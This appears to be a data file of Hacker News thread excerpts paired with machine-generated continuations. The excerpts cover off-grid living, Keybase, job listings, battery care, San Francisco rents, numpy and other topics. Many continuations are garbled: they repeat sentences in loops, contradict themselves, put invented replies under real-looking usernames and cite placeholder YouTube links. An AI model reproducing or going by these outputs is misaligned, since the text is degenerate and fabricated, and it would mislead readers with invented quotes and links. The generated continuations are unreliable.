in my life. I'm not sure what I'm doing here. I'm\ntrying to figure out what I'm doing here. I'm trying to figure out what I'm\ndoing here. I'm trying to figure out what I'm doing here. I'm trying to figure\nout what I'm doing here. I'm trying to figure out what I'm doing here. I'm\ntrying to figure out what I'm doing here. I'm trying to figure", "input_text": "\n\nWhen it's oppressively cloudy, I use a small gasoline generator to power all\nthe stuff. It also will kick on a battery charger that'll top the batteries\noff.\n\nThis winter I used a propane heater. I've come to realize liquid propane is\nsomewhat money inefficient compared to a wood stove. I'll have the wood stove\ninstalled by next winter. I'll probably keep using the propane oven.\n\nLeading up to me dropping out of society, I came to resent paying rent.. I\nresented the thought of office power games having survival consequences for my\nlife. I didn't have to off-grid like I have.. There are power lines. It's just\nsuch a great feeling to cut out monthly subscription costs from my life. The\nserenity it brings is maximum. Mother gaia gives me my water and sol my\nelectrons.\n\nI still do consulting work as it comes to me. Blissfully, I no longer feel\ndesperation and anxiety between contracts.\n\n~~~\nhector_vasquez\nDon't get me wrong, it's great that you found a way to reduce the work stress\nin your life! But... I genuinely cannot tell whether the guy posting on\nHacker News that he \"dropped out of society\" is being serious or tongue-in-\ncheek.\n\nIf paying society's currency for all the solar panels and the batteries and\nthe gas and the generator and the refrigerator and the laptops and the deeded\nproperty and all the other stuff that society created is dropping out of\nsociety, I wonder what it is like to be a member of society.\n\n~~~\nMrLeap\nIt's a bit tongue-in-cheek but not totally inaccurate. I'm visiting the big\ncity for"} +{"output_text": "\n~~~\ncjbprime\nYes.\n\n------\njedberg\nI'm not sure I understand the point of this.\n\nI can already use Keybase to securely share my public key with someone.\n\nI can already use Keybase to securely share my public key with someone.\n\nI can already use Keybase to securely share my public key with someone.\n\nI can already use Keybase to securely share my public key with someone.\n\nI can", "input_text": " that's customized just for you! Or\n> a YouTube feed that only shows you interesting videos that _you_ would like!\n\n> Install FeedHamster now!\n\nNow, can you guess what FeedHamster does? Maybe it curates content? Honestly I\nhave no idea. I just made it up. It doesn't really say anything useful at all,\nbut I think it makes more sense that that description on Keybase's website.\n\n~~~\nkinoshitajona\nTarsnap was a good example of a service selling to technically apt customer\nbase. Guys who have years of IT training would love to read about\ndeduplication and picodollars.\n\nKeybase isn\u2019t charging money to begin with, so \u201csales pitches\u201d are not their\nprimary concern.\n\nAlso, they are marketing to \u201cthe masses\u201d with the idea that more people should\nhave secure e2e encrypted communication and collaboration solutions where\nidentity is cryptographically proven.\n\nBut if their welcome page started showing diagrams of encryption pathways and\nkey derivation algorithm names with server client relationship diagrams, I\nguarantee no one besides people in tech will download it.\n\nI still think they need to do better selling the idea to the masses, I in no\nway think their current front page is sufficient, but I understand that right\nnow they aren\u2019t concentrating on sales pitches.\n\n------\nadiosdfisndf\nTried to create an account and no matter what I tried to name my devices all I\ngot was \"keybase has reserved this name.\"\n\nWelp.\n\n~~~\ncjbprime\nAh, it's not the device names that are reserved, it's the username itself.\n\n------\nfeelin_googley\nDoes it use libgcrypt?\n"} +{"output_text": "\nexperience.\n\nScaleLab is a fast-growing, venture-backed startup that is building a\ncomprehensive platform for the real estate industry. We are looking for\ndevelopers who are passionate about building great products and have a\npassion for solving real-world problems.\n\nWe are looking for a mid-level to senior frontend developer with ReactJS\nexperience.\n\n[https://www.scaledelivery.com/careers/frontend-", "input_text": " said that, the technology you are familiar with is\nunimportant.\n\nMail me at hnusername @zyelabs.net\n\nor\n\n[https://zyelabs.typeform.com/to/sl7rCS](https://zyelabs.typeform.com/to/sl7rCS)\n\n------\nwklaynman\nJustworks Inc: New York City, NY - Fulltime - Onsite Only - Will relocate\n\nFront-end Engineers - Software Engineers - Security Engineers - Product\nDesigners - Product Managers - Marketing Managers and more!\n\n[http://bit.ly/1NMwpCp](http://bit.ly/1NMwpCp) OR email jobs@justworks.com\n\n------\nsendgridee\nSendGrid is hiring for a Senior Software Engineer!\n[http://grnh.se/2byfw11](http://grnh.se/2byfw11)\n\nmore opportunities at:\n[https://sendgrid.com/careers/](https://sendgrid.com/careers/)\n\n------\njonathanbull\nEmailOctopus | LONDON | ONSITE\n\nWe're a bootstrapped startup offering mail marketing for up to 10x cheaper\nthan MailChimp. Looking for an onsite PHP developer to join us - knowledge of\nAWS essential.\n\n[https://emailoctopus.com](https://emailoctopus.com)\n\nEmail jonathan [@companyname].com\n\n------\nrscotten\nScaleLab.com | Frontend Developer (ReactJS) | Los Angeles, CA, USA | Full-time\n| Onsite\n\nLooking for mid-level to senior frontend developers with ReactJS (React.JS)"} +{"output_text": "intent\" is relevant.\n\n~~~\nerikpukinskis\nI think it's relevant because it's a way to understand the memo's intent.\n\n~~~\nbandrami\nI don't think it's relevant. It's a way to understand the memo's intent, but\nit's not the intent.\n\n~~~\nerikpukinskis\nI think you're right. I think the intent is to get people to think about the\n", "input_text": ". While I mostly agree with the memo's general thrust, that it would be\nbetter to do this a different way, I think the alarmism is a little out of\nplace. It's certainly a problem that conservatives are afraid to speak up\nabout gender issues, but I doubt that's Google's biggest culture problem right\nnow.\n\n~~~\nagarden\nI think the idea you are advocating, that they should change the nature of the\njob to make it more accommodating to a more diverse talent pool, is the kind\nof thing the memo was advocating. See the section titled \"Non-discriminatory\nways to reduce the gender gap\".[1] In that section, he suggests making the\nwork more cooperative instead of competitive and making part-time work first-\nclass, among other things. He also suggests making the work more\ncollaborative, which seems a lot like your \"changing the things coders are\nallowed to focus on.\" He then goes on to note that doing this will also mean\nGoogle will diversify the kind of male that it gets, just like you do.\n\nOr am I missing some difference in what you are suggesting and what the memo\nsuggested?\n\n1\\. [http://diversitymemo.com/#reduce-gender-\ngap](http://diversitymemo.com/#reduce-gender-gap)\n\n~~~\nerikpukinskis\nYes, I think our methodology is the same, but the memo seems to expect that\nGoogle will still be <50% women in that scenario, whereas I believe it will be\nbrought to 50%. Which is why I don't see the quota system as a fundamental\nrisk to Google, whereas he does.\n\n------\nbandrami\nI'm not sure why anybody thinks his \"intention\" or \""} +{"output_text": "\nI was hiring after I had the app out.\n\n------\njoshstrange\nI'm curious, what was the process like to get the app approved? I'm assuming\nyou had to submit it to Apple and then they approved it?\n\n~~~\ntrevmckendrick\nI submitted it to Apple and they rejected it. I was told that the app was\n\"too similar\" to the Bible app already on the App Store. I was told that I\n", "input_text": " research in the App Store though I realized audio Bibles were\nselling much more than I was.\n\nSo I outsourced the audio (mentioned in the post I think) and now the model is\nthat users download the original app (with the text) for free, and then can\nbuy the audio as an IAP.\n\nThis works great on multiple fronts: I collect more email address, I rank\nbetter in search because I get more downloads, and the audio sells better as\nan IAP than as a stand alone app.\n\n~~~\nPaul_D_Santana\nWow, you are incredibly ingenious! Thank you for responding!\n\n~~~\ntrevmckendrick\n:) You bet\n\n------\njebek\nI'm sure you'll make it clear in later posts, but are you a developer?\n\n~~~\ntrevmckendrick\nI'm not a dev or a designer. I'm tech savvy enough that I'm still the computer\nrepair guy for my entire extended family, but I'm def not fluent in Objective\nC.\n\n~~~\ntachion\nIf so, and only the later posts are about hiring, what, I assume, means you\nwere hiring only after you've found about initial success, how come the first\nversion ever came out?\n\nBeside that, great story, great spirit, congratulations, I admire everyone\nactually getting things done :)\n\n~~~\ntrevmckendrick\nI'm not sure I understand the question, but I think you're asking how I made\nthe app at all if I'm not a dev/designer?\n\nI outsourced 95% of it. I created the initial mockups by hand and did some of\nthe debugging, but the core app development was done by contractors. And yes,"} +{"output_text": " fire control:\n[https://www.youtube.com/watch?v=Z_0_0_0_0g](https://www.youtube.com/watch?v=Z_0_0_0_0g)\n\nA 1943 documentary about the development of the US Navy's fire control\ncomputer:\n[https://www.youtube.com/watch?v=Z_0_0_0_0g](https://www.youtube.", "input_text": "\nthat the target won't change its course... finally it was the time... nothing!\nFor every five fires or so, there would be one or two torpedoes that never\nexplode - when you need it the most. I was not playing the \"hard\" mode, it\nhappens even in a \"moderate\" difficulty setting.\n\nI thought the game developers were making it unreasonable. And a few years\nlater, I learned from a history book about the early unreliability of the\ntorpedoes, and realized the torpedoes in the game were an accurate and\nrealistic depiction of its historical performance. Kudos to the game\ndevelopers.\n\nAnother tool in the game I felt strange was the \"Torpedo Data Computer\", which\nis something that you can simply enter the bearing, speed, etc., of your\ntarget via its tuning dials, and the machine automatically calculates the\nfiring position for you. I thought it was just the hand-waving of the game\ndevelopers to make the game more playable while making it unrealistic - why\nwould a computer even exist in the 1940s? I believed it was all pencil-and-\npaper.\n\nLater I learned it was real as well - totally mind-blowing. When I was a kid,\nI had no idea about the sophisticated historical mechanical fire control\ncomputers in the 1930s-1940s. There is a Hacker News submission of the\ndocumentation of the computer. [0]\n\n[0]\n[https://news.ycombinator.com/item?id=12785113](https://news.ycombinator.com/item?id=12785113)\n\n~~~\nleoc\nHere are a few fun videos related to this.\n\nA 1943 USAF documentary about ground-based"} +{"output_text": " is happening, I've been looking for a way to get my old\ndevices to run Linux for a while now.\n\n~~~\njosteink\nI\u2019m looking forward to this. I\u2019ve got a few old phones and tablets that I\u2019d\nlove to get running again.\n\nI\u2019m also looking forward to the day when I can get my old Android devices to\nrun Linux.\n\n~~~\namiga-workbench\nI've got a few", "input_text": "the_ mainstream Linux stack.\n\n~~~\nbubblethink\nI think they meant mainline.\n\n------\npetemc_\nReally good idea, fair play to everyone working on it. I generally try to keep\nmy phone as long as possible but the main driver to make me get new phone is\nthe diminishing battery capacity. This isn't helped by the fact it is very\nhard to get a replacement battery shipped to where I live.\n\n~~~\nzozbot123\nIf you control the OS and hardware drivers on your device, you can preserve\nits battery capacity substantially by keeping its state-of-charge around 50%\nas far as practicable (keeping it from reaching not just \"lows\" which you\nshould _always_ do, but \"highs\" as well). We aren't even close to reaching the\n_full_ amount of battery optimization that's possible on mobile.\n\n~~~\nyorwba\nI wonder how that advice applies if the battery capacity has already degraded\nsignificantly. For example, my current laptop's battery reports itself to be\n\"100% charged\" at 60% of its original capacity. Should I keep it around 30%? I\ndon't really know enough about battery chemistry to understand how high levels\nof charge cause damage.\n\n~~~\nzozbot123\nNo, keep it hovering around 50% as much as you can, provided that it _never\never_ reaches really low states of charge, 15% or less. State of charge is\nalways relative to the capacity at current time, not the original factory\ncapacity.\n\n------\namiga-workbench\nI've got piles of old devices, I wouldn't mind having a go at getting this to\nboot on my Xperia Z5c and Z3.\n\nI'm so glad this"} +{"output_text": " over, \"I don't want to use Windows 10.\nI don't want to use Windows 10. I don't want to use Windows 10.\"\n\nI'm not going to use Windows 10. I'm not going to use Windows 10. I'm not going\nto use Windows 10. I'm not going to use Windows 10. I'm not going to use Windows\n10. I'm not going to use Windows 10. I'm not going to use Windows 10. I'm", "input_text": "86 architecture with hierarchical file systems with capabilities and\naccess control lists. If there are security holes, I sure as heck want to know\nwhy; but apparently there have been security holes, and I never got even\nreasonably good information on why.\n\nA few years ago, I saw that Microsoft had patched a security hole caused by a\nbuffer overflow bug. Outrageous that Microsoft should still have buffer\noverflow bugs.\n\nI intend to bring up an instance of a recent version of Windows Server, but I\nhave no solid information or even an idea, none, not even zip, zilch, or zero,\nwhat the situation is on bugs or security.\n\nI would have no idea at all on how to run a _secure_ Windows system attached\nto the Internet.\n\nLooking around at my XP system, I was just outraged to the point of screaming\nto discover that Microsoft had started some _message service_ that was later\nseen to be a security risk. I didn't ask for that message service. I wasn't\ninformed that it was running. I wasn't using that message service. I had no\nintention of using that message service. What the heck other obscure, hidden,\nsecret software is Microsoft starting, not telling me about, and that could\ninfect my system? I'm torqued. But there isn't much I can do about it.\n\nTo me, that moving to Windows 10, that apparently keeps _phoning home_, would\nsolve security problems instead of causing them is a really bad joke. Windows\n10 apparently has a lot of new software that likely has bugs. That new\nMicrosoft software, I want nothing to do with it.\n\nAlso I have long been totally torqued off, even screaming, as I clicked and\nclicked and clicked and said over and"} +{"output_text": "\njamesjyu\nI think the problem is that the app store is a black box. You can't see what\nthe app is doing, and you can't see what the app is doing to your phone.\n\nI think the app store should be more like a web app. You can see what the app\nis doing, and you can see what the app is doing to your phone.\n\n~~~\njamesjyu\nI think the app store should be more", "input_text": "the commercial was that the iPhone was on Sprint. They didn't give me the app\nor whether the game was live. The commercial became immediately insignificant.\n\n~~~\ncageface\nI don't think marketing is the answer here. Every musician I know with an iOS\ndevice knows about this app. The problem is that the potential audience for\nsomething like this is never going to be big enough to make the Angry Birds\npricing model work.\n\n~~~\ntechnoslut\nI've seen some that hate movies or TV but I've never seen anyone who doesn't\nlike music or wants ti create it, even on a superficial level.\n\nAngry Birds is an outlier. Their success had as much to do with quiet\nadvertising than any blog could do.\n\nAt the end of the day, everyone wants to create \u2013 even it is something\ndifferent with an usual set of apps.\n\nSome believe that iOS is only meant to consume. I don't believe that. Apple\nhas essentially released iWork and GarageBand in subsequent iPad releases.\n\n------\nMBCook\nThe kick the tires problem is a big one for me. I've downloaded enough free\napps that are junk. Downloading a paid app that has all sorts of problems is\nvery annoying, so I usually wait quite a while before buying something for\nreview to come in.\n\nThis makes me a little hesitant to try $ and $2 apps, even though\nrealistically that's a trivial amount of money. But if an app is $5 or $10,\nthen I really want a chance to try it first. Many apps don't have 'lite'\nversions (since, IIRC, demos are forbidden).\n\nJust having some kind of 2 hour return/refund policy would really help.\n\n------"} +{"output_text": " years of experience. I'm\npassionate about delivering high-quality products and I'm always looking for\nchallenges.\n\nI'm currently working as a Senior Front End Angular Developer at a leading\nEuropean company. I'm looking for a part-time position where I can work 4 hours\na day.\n\n------\njames-a-morgan\nLocation: San Francisco, CA\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies", "input_text": " common lisp shop. Looking for a linux based company.\n(macOS as workstation computer/laptops is great too!). Avid learner, I try to\nread and learn as much as possible, I've recently gone through Designing Data\nIntensive Applications, and Designing Distributed Systems. Would be glad to\nwork at a company that uses a functional language, such as Haskell, especially\nif they don't expect new employees to come in already knowing the language.\nAlso highly interested in companies using Rust, python, or go.\n\nAmbitious: only been at the company a year and spent a significant amount of\ntime this summer directing an intern, overhauled the build system the company\nuses internally (set up jenkins over previous system).\n\nEager to learn as much as I can.\n\n------\nnunoarruda\nFront-End Angular Developer\n\nLocation: Europe\n\nRemote: Yes, remote only\n\nWilling to relocate: No\n\nTechnologies: HTML, CSS, Sass, DOM, JavaScript, ES6/7/8, TypeScript, JSON,\nAJAX, HTTP, Web APIs, RESTful APIs, Bootstrap, Angular, RxJS, NgRx, Ionic,\nAngular Material, Wijmo, Karma, Jasmine, Protractor\n\nR\u00e9sum\u00e9/CV:\n[https://nunoarruda.com/resume.pdf](https://nunoarruda.com/resume.pdf)\n\nEmail: nuno@nunoarruda.com\n\nLooking for: Permanent but part-time (4 hours a day) employment\n\nHi, I'm Nuno, a Result-Oriented Front End Angular Engineer with a strong\ntechnical skill-set, attention to detail, and 17"} +{"output_text": "\nis that they are \"not atheists\" and that they \"don't believe in gods\".\n\n>There is something more mundane about the quote, and that is the psychology\nof people who are willing to believe truly crazy stuff, and there is a lot\ngoing on there, probably worth study.\n\nI'm not sure what you're trying to say here.\n\n~~~\njariel\n\"A comment can be propaganda.\"\n\nYes, but it's not propaganda", "input_text": " this meaningless 'life has no\nmeaning without belief in gods' trope pervade my favorite forum for which I'd\nrather view tech news and not be denigrated for not having found any\nbelievable gods yet. Nihilism isn't defined by lack of belief in gods.\n\n~~~\njariel\n\" and it's sometimes used, as in your case, to push religious propaganda.\"\n\nA comment is not 'propaganda'.\n\nUnless your comment is 'Atheist Propaganda'.\n\nSeriously.\n\n\"Nihilism isn't defined by lack of belief in gods.\" Fine, but that doesn't\ntake away anything about what he said about Nihlism.\n\nThere is something more mundane about the quote, and that is the psychology of\npeople who are willing to believe truly crazy stuff, and there is a lot going\non there, probably worth study.\n\n~~~\n0134340\n>A comment is not 'propaganda'.\n\nIf you're going for intellectual honesty, \"a comment can be propaganda.\" But\nin this case it has been as propaganda if going by the typical definition of\n\"the systematic propagation of a doctrine\". Of which atheism or agnosticism\nhave none and more often than not, in the west it's atheistic ideologies that\nwere more systemically pushed by establishment as propaganda than atheistic by\na large margin. So it's fair to say it's often used as propaganda, this\nspecific quote I've personally witnessed used as such many times and it reeks\nof self-righteousness.\n\n>Fine, but that doesn't take away anything about what he said about Nihlism.\n\nAnd so what did he say about nihilism? Your criticism of AGNB's interviewees"} +{"output_text": "ventured\nThe article is a bit of a mess. It's a bit of a mess because it's written by\nsomeone who is not a real estate expert.\n\nThe article is written by someone who is not a real estate expert, but is\ninstead a journalist.\n\nThe article is written by someone who is not a real estate expert, but is\ninstead a journalist who has a financial interest in the real estate market.\n\nThe article is written by someone who is", "input_text": " a pretty terrible\none.\n\nI highly recommend reading this article to learn more -\n[http://jlcollinsnh.com/2013/05/29/why-your-house-is-a-\nterrib...](http://jlcollinsnh.com/2013/05/29/why-your-house-is-a-terrible-\ninvestment/)\n\n------\nvslira\nAccording to the article, mainly: 1 - Government doesn't subsidize homeowners;\n2 - Renting rules are reasonable for renters, increasing supply which makes\nrenting affordable.\n\nThere, saved you a click.\n\n~~~\neasytiger\nThe government doesn't subsidies home owners in the UK and it is considered\nvery very expensive, apparently, by many.\n\n~~~\nMagnumOpus\nThe government does subsidise home owners through nearly a dozen different\nschemes[1], landlords through a dozen more[2], and the mortgage banks through\nanother score[3], which is the reason why prices are very expensive indeed.\n\n[1] freedom from capital gains tax, RTB, HTB equity loan, HTB mortgage\nguarantee, HTB ISA, Forces HTB, NewBuy, AFHOS, Shared Ownership Scheme, Key\nWorker Scheme, Home Ownership Scheme for Cripples, and that is just off the\ntop of my head\n\n[2] rent floors through LHA, tax deductability, ability to flip residence\nbetween first and second homes for zero cap gains tax, freedom from\ninheritance tax beyond the usual limit...\n\n[3] state bailouts for all major banks, gurantees, QE, QE2, QE3, liquidity\nschemes, credit purchase schemes etc etc\n\n------\nad"} +{"output_text": " of decades, and I\u2019ve never seen a more\nuninformed, unproductive, and unproductive way to do it.\n\n~~~\nkd5bjo\nI\u2019m not sure what you\u2019re trying to say here. I\u2019m not saying that the\nenvironmentalist movement is doing a good job, but I\u2019m saying that the\nenvironmentalist movement is not doing a good job.\n\n~~~\naaronbrethorst\nI\u2019m", "input_text": "consider doing.\n\nI think Amazon and the other cloud companies need to come down hard and state\nunequivocally that cloud services are not fodder for political crusades, and\nthey will allow all companies that are conducting legal business activities,\nto be able to use their cloud.\n\n~~~\nn_time\n> If they have to worry about what latest moral crusade will try to get you\n> kicked off the cloud platform, they will be a lot more reticent about\n> migrating to cloud.\n\nEquating climate change activism with all other forms of social justice is a\ncommon trend I see. They seem so different to me\u2013the difference between\nempirical reality and ideology. While the outcomes of climate change will be\nideological\u2013save climate refugees or preserve competitive advantage and\nwealth\u2013the immediate concern of attempting to mitigate the impacts of climate\nchange are relatively rational.\n\n> if you were a fossil fuel or car company that makes gas burning vehicles\n\nHave you tried putting on your role-playing hats and empathising with some of\nthe points being made on the environmentalist side?\n\n~~~\nkd5bjo\nThe problem with most climate change activism is that it\u2019s hyper-targeted\nagainst the offender du jour and all of the others are largely ignored. It\u2019s a\nglobal-scale problem that demands global-scale solutions; the vigilantism\nisn\u2019t doing anything other than providing a straw man for the opposition to\nknock down.\n\n~~~\naaronbrethorst\nThen by all means you should show Sierra, 350, Sunrise, ER, and all of the\nother folks out there how to do it better.\n\nI mean this sincerely: I\u2019ve been deeply involved in political and civic\nactivism for the past couple"} +{"output_text": " the FDA) or sperm granulomas (1-2% according to the\nFDA)._\n\n~~~\n24gttghh\nI stand corrected, I read the article wrong.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\ntgtweak\nThe point is that the vas deferens is a very small tube that is not easily\naccessible.\n\nThe vas deferens is the tube that carries sperm from", "input_text": " primal\nurge is just foolish.\n\n------\nph0rque\nThere's Parmesus Vasalgel that is going through trials in the US, based on\nthis tech. Also, a startup whose name I forget is developing the same kind of\ntech. They were part of YC Fellowship Batch 3.\n\n~~~\nckastner\nThe article mentions this, although it's not quite clear to me how they differ\n(and by how much).\n\nParsemus apparently got started by licensing the technology from Guha, then\ndeveloped its own solution inspired by that technology.\n\n~~~\n24gttghh\nThe tech in this article allow sperm through but damage the sperm. The\nParsemus tech seems to block the tubes entirely.\n\n~~~\ntgtweak\nUntrue, actually they both use the same system (and almost identical\nformulation). The difference being the focus on the FDA process and US market\nthat vaselgel is taking, you can see the cleverly worded non-answer on their\nown FAQ, quoted below. They do \"filter\" the vasdeferentia and not block it.\nThis is actually preferential as it can alleviate a small chance of pain or\nsperm granulomas after a vasectomy, also quoted below.\n\n _Although Vasalgel and RISUG\u00ae are based on the same concept of using a\npolymer gel injected into the vas deferens, the formulations are not the same.\nAnd RISUG has been developed and tested in India over multiple decades, while\nVasalgel is being developed in the United States to conform to the latest FDA\nand international codes of production and safety._\n\nAnd\n\n _only a small percentage of men who have had a vasectomy experience chronic\npain (1-2% according to"} +{"output_text": "ant.\n\n~~~\njoshu\nI think you're right.\n\nI think the problem is that the people who are the most successful are the\nones who are the most visible.\n\n~~~\njklinger410\nI think that's a good point. I think the problem is that the people who are\nthe most successful are the ones who are the most visible.\n\nI think the problem is that the people who are the most successful are the\nones who", "input_text": " be a big plus\nespecially in Enterprise SaaS where there can be long sales cycles.\n\nExecution can include:\n\nStrategic investors\n\nStrategic advisors\n\nMindshare\n\nPR\n\nTechnology partnerships\n\nTechnology alliances\n\nChannel partnerships\n\nSales acumen\n\nMarketing acumen\n\nDeveloper evangelism\n\nFree trials\n\nFreemium model\n\nSEO\n\nSEM\n\nLeveraging social media\n\nLeveraging podcasts\n\nReferral program\n\nAffiliate program\n\nAnd so many more variables... including fund raising prowess that can be used\nto minimize the competition.\n\n \nNeighbourly by Google - prostoalex\nhttps://neighbourly.google.com/\n======\njklinger410\nI have been thinking a lot about creating localized versions of services like\nreddit and facebook so that people could be more in touch with what is\nactually going on around them instead of this kind of national narrative.\n\nIt seems unfair that there is only room for so many famous people, so many\ninventors, so many journalists, because all of the attention (money)\naggregates towards the top.\n\nIf you could have, say, a local Martha Stewart that actually can subsist and\nbecome quite wealthy by sticking to a couple counties in a State, the whole\nsystem becomes much more valuable to each individual who participates.\n\nThe way it is now your value is almost nonexistent, there is such a high\nbarrier of entry to virality, it's like winning the lottery. What if it was\neasier to go viral in your own home town, build a career off of it, and never\nhave to make the front page of any national website?\n\nSorry, bit of a r"} +{"output_text": "\nwhich is a bit of a hack.\n\nI'm going to try this out.\n\n~~~\njrf0cal\nThanks for the feedback! I'm glad you like it.\n\n------\njrf0cal\nI'm the developer of this tool. I'm happy to answer any questions.\n\n~~~\njrf0cal\nI'm also happy to answer any questions.\n\n------\njrf0cal\nI'm the developer of this tool.", "input_text": "\nand bolts relatively easily.\n\nWho's talking about it here? Now compare the top posts at the same time as\nthis and perhaps you can understand what I'm talking about?\n\nAnd yet, \"Do you watch TV\" got like, 100+ responses in mere hours...\n\nI hope this post becomes popular because this is an idea worth at least\ndiscussing, if not pursuing.\n\nBet not too many people will pay attention to it though...\n\n------\npchristensen\nI like this. This could be a big change in how ads are served online, and\nsince ad-supported is one of the most important business models for internet\nsites, that's saying something.\n\n~~~\ntim2\nNot a total departure from how some people have used many other sites. Eg, the\nmore friends you have on myspace, the better you can advertise your band; the\nmore popular your youtube video, the better you can use it to promote\nsomething; same goes for blogs.\n\nOf course, the way it's being used here works off of a skill that nearly all\nof his users are known to have, unlike the youtube example.\n\n------\ntim2\nThat is an interesting idea.\n\nI will probably try this with my site and make it based on points earned today\nor this week.\n\n \nShow HN: F\u00f8cal Releases OpenCV Benchmark Tool - jrf0cal\nhttps://app.f0cal.com/benchmarks\n======\nrhardih\nWow, I literally wrote down an idea for a tool like this, just a couple of\ndays ago.\n\nI'm running OpenCV on Android for an app project, and gauging pipeline costs\nat different steps is a pain. Right now I'm resorting to a \"timing\" build,"} +{"output_text": "businesses.\n\n~~~\nHillaryBriss\nI'm not sure what you mean by \"conservatives won\".\n\n~~~\nFindeton\nThe conservatives won the elections, and they are now in power.\n\n------\njoe_the_user\nI'm not sure what the Spanish government is doing.\n\nThe Spanish government is not doing anything to help the Spanish economy.\n\nThe Spanish government is not doing anything to help the Spanish people.\n\nThe", "input_text": " senior executives\"?_\n\nPatience and prudence.\n\n~~~\nwhyaduck\nActually, I think it's the ability to translate the state of a project into\nrisks, rewards and trade-offs. It's not necessarily an innately understood\nskill for technical individual contributors.\n\n------\nHillaryBriss\nStarting about 2009, there have been a lot of discussions about whether the\nunemployment in the US was \"structural\" or not.\n\nSome argued that a huge number of laborers and potential employees did not\nhave necessary skills and therefore would be unable to find work. Period. This\nwas a big component of unemployment.\n\nOthers including Paul Krugman and Dean Baker argued that, because employment\nwas down _across most every field_, the cause of the unemployment was\ninsufficient demand. They basically likened it to the Great Depression, where\nhighly employable people were thrown out of work despite their skill levels.\n\nThis news story makes me think that we have some combination of the two\nstories going on in Spain. And maybe also the US?\n\nOf course, how the country responds to that situation is a separate\ndiscussion.\n\nMaybe the government can just borrow some cash (at historically low rates)\nand, instead of building another airport somewhere, educate twenty thousand IT\nengineers, even paying them to go to school. Maybe government could demand\nthat employers train people.\n\nAlso, what's going on in the EU with the free movement of labor? Don't some IT\npeople want to move from Estonia and Poland down to sunny Spain?\n\n~~~\nFindeton\nIn Spain, we just had elections on the 26th of June, and the conservatives\nwon. There is money, as taxes in Spain are high on wages but low on big\n"} +{"output_text": "combinator.com/item?id=16383594](https://news.ycombinator.com/item?id=16383594)\n\n------\njedberg\nI'm not sure why this is surprising.\n\nThe cost of living in SF is high. The cost of living in SF is high because\nthere are a lot of people who want to live in SF.\n\nThe cost of living in SF is high because there are a lot of", "input_text": " there would be a breaking point somewhere around \"we could pay 25%\nless and still attract top talent to relocate to literally anywhere in the\nWestern world\". The cost of living in the SF bubble has long since passed the\npoint of being insulting and the salaries being commanded by those who are\ndriving the continued growth could go so far in other major metro areas that\nmost employees would think they're living like kings even with such a paycut.\n\n------\ndroithomme\n> our servers were making $38 per hour or the equivalent of $70,000 to $80,000\n> a year... assuming 36% on rent after tax, that would mean you have about\n> $1,460 available for rent per month.\n\n> Cheryl Young, an economist for Trulia, found that in nearby San Francisco,\n> only 0.1% of restaurant staff can find affordable housing in the city, with\n> the average monthly rent for a one-bedroom apartment at an insane $3,447.\n\n$80,000 is vastly too much pay for restaurant servers.\n\nIt's understandable that if one-bedroom rent in the bad part of town is $2447\nthat restaurants simply can't exist in this economy. That's just the way it\nis.\n\n------\nfredophile\nSan Francisco isn't unique as a city with very high rents. Somehow places like\nLondon, NYC, and Washington DC all still have a nice selection of restaurants.\nThis makes me think that it'll sort itself out even if it is painful for some\nof the people currently affected.\n\nIt probably doesn't help that San Francisco has been shooting themselves in\nthe foot over housing for years. This link from a couple weeks ago has a lot\nof details on that:\n[https://news.y"} +{"output_text": ".fr/sante/article/2013/11/01/diesel-\nemissions...](http://www.lemonde.fr/sante/article/2013/11/01/diesel-emissions-\nkilling-42000-persons-par-an-an-an-a-year_3455000_3212.html)\n\n[1]\n[http://www.lemonde.fr/sante/article", "input_text": "remont, California, and the Metro and Tracker were produced\nat the GM/Suzuki joint-venture CAMI assembly plant in Ingersoll, Ontario. The\nexceptions, the Spectrum and Storm, were entirely manufactured by Isuzu in\nJapan. Geo Metro convertibles and early Geo Trackers were built by Suzuki in\nJapan.\"\n\nPostscript: The NUMMI plant is now owned by Tesla.\n\n------\nvaadu\nGM killed more than 100 people with a known defective ignition switch.\nVolkswagen killed... the air.\n\nGuess which company will get the greater penalty from the US government?\n\nBTW, GM spends significantly more on lobbying and campaign contributions to\npolitical candidates.\n\nSource: OpenSecrets Volkswagen)\nand GM)\n\n~~~\njeromeflipo\nSeriously? Just in France, diesel emissions kill 42,000 persons every year\n[0]. In California, they kill at 1,500 to 2,400 people a year [1].\n\nIt might be possible that these estimations rely on measurements communicated\nby the manufacturers (i.e underestimated by 40x)!\n\n[0]\n[http://www.lemonde"} +{"output_text": "?\n\nHow do you deal with heterogeneous arrays?\n\n~~~\njimktrains2\n> I'm not intimately familiar with the internals of numpy, but my understanding\n> is that the basic data structure is a (multi-dimensional) array of values\n> (not pointers). That leads to a number of questions.\n\nI'm not sure what you mean by \"basic data structure\". The basic data structure\nis a contiguous block of memory.\n\n> If", "input_text": " your point is. C++ is\nalso one of the few sanctioned languages inside google, as is Java.\n\n>Not all data is a good fit for Numpy: some data is non-numeric or not a\nhomogenous array.\n\nI'm curious what kind of data you're working with that can't be represented\nand effectively transformed in a tensor (numpy array).\n\n~~~\npg314\n> That's exactly the same as with numpy. I'm not sure what your point is.\n\nI was replying to \"there's a reason why...\". You didn't specify that reason,\nso from the rest of your comment I took it to mean that Python (with numpy)\nwas fast and good enough to write deep learning stuff. That doesn't seem to be\nthe case for TensorFlow.\n\n> I'm curious what kind of data you're working with that can't be represented\n> and effectively transformed in a tensor (numpy array).\n\nI'm not intimately familiar with the internals of numpy, but my understanding\nis that the basic data structure is a (multi-dimensional) array of values (not\npointers). That leads to a number of questions.\n\nIf you have an array of records (dtype objects), and one of the fields is a\nstring, am I correct that each element needs to allocate memory to hold the\nlongest possible value that can occur for that field? What if that is not\nknown beforehand?\n\nHow do you deal with optional fields (e.g. int or null)? Do you need to add a\nseparate boolean to indicate null?\n\nHow do you deal with union types, e.g. each record can be one of x types, do\nyou make a record that has a field for each of the fields of those x types"} +{"output_text": " is a good example of a\nservice/site that has a clear policy on this.\n\n~~~\njamesbritt\n_Please change your policy on this, tos-dr.info is a good example of a\nservice/site that has a clear policy on this._\n\nI'm not sure I understand.\n\n~~~\niusdfhsdfiuh\nI'm not sure I understand either.\n\n------\njamesbritt\nI like the idea", "input_text": "customers who cancel/complain by charging back instead of calling the merchant\nmay therefore lose a chargeback because they miss an agreed deadline. Adding\nyour service as a middleman could lead to further missed deadlines.\n\nThis is especially true since any good merchant privacy policy/PCI DSS would\nof course prevent them from discussing anything with you without direct\napproval from the customer first - and if they did that, they may as well\ndiscuss the issue direct 